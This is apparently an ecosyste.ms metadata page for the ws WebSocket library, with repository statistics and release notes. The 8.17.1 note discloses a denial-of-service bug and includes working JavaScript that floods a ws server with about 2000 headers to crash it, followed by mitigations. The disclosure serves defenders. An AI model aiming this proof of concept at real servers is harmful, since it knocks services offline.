An open API service providing repository metadata for many open source software ecosystems.

GitHub / websockets / ws

Simple to use, blazing fast and thoroughly tested WebSocket client and server for Node.js

JSON API: http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/websockets%2Fws
PURL: pkg:github/websockets/ws

Stars: 22,401
Forks: 2,508
Open issues: 5

License: mit
Language: JavaScript
Size: 13.5 MB
Dependencies parsed at: Pending

Created at: almost 14 years ago
Updated at: 4 days ago
Pushed at: 2 months ago
Last synced at: 3 days ago

Commit Stats

Commits: 1695
Authors: 207
Mean commits per author: 8.19
Development Distribution Score: 0.579
More commit stats: https://commits.ecosyste.ms/hosts/GitHub/repositories/websockets/ws

Topics: javascript, node, nodejs, real-time, rfc-6455, websocket, websocket-client, websocket-compression, websocket-server

Funding Links https://github.com/sponsors/lpinca

Releases
8.18.2

8.18.2

Bug fixes

Fixed an issue that, during message decompression when the maximum size was
exceeded, led to the emission of an inaccurate error and closure of the
connection with an improper close code (#2285).

4 months ago
Download
8.18.1

8.18.1

Bug fixes

  • The length of the UNIX domain socket paths in the tests has been shortened to
    make them work when run via CITGM (021f7b8b).
6 months ago
Download
8.18.0

8.18.0

Features

  • Added support for Blob (#2229).
about 1 year ago
Download
8.17.1

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.
about 1 year ago
Download
6.2.3

6.2.3

Bug fixes

  • Backported e55e5106 to the 6.x release line (eeb76d31).
about 1 year ago
Download
7.5.10

7.5.10

Bug fixes

  • Backported e55e5106 to the 7.x release line (22c28763).
about 1 year ago
Download
5.2.4

5.2.4

Bug fixes

  • Backported e55e5106 to the 5.x release line (4abd8f6d).
about 1 year ago
Download
8.17.0

8.17.0

Features

  • The WebSocket constructor now accepts the createConnection option (#2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

over 1 year ago
Download
8.16.0

8.16.0

Features

  • Added the autoPong option (01ba54ed).
over 1 year ago
Download
8.15.1

8.15.1

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe58).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn’t already been widely used.

over 1 year ago
Download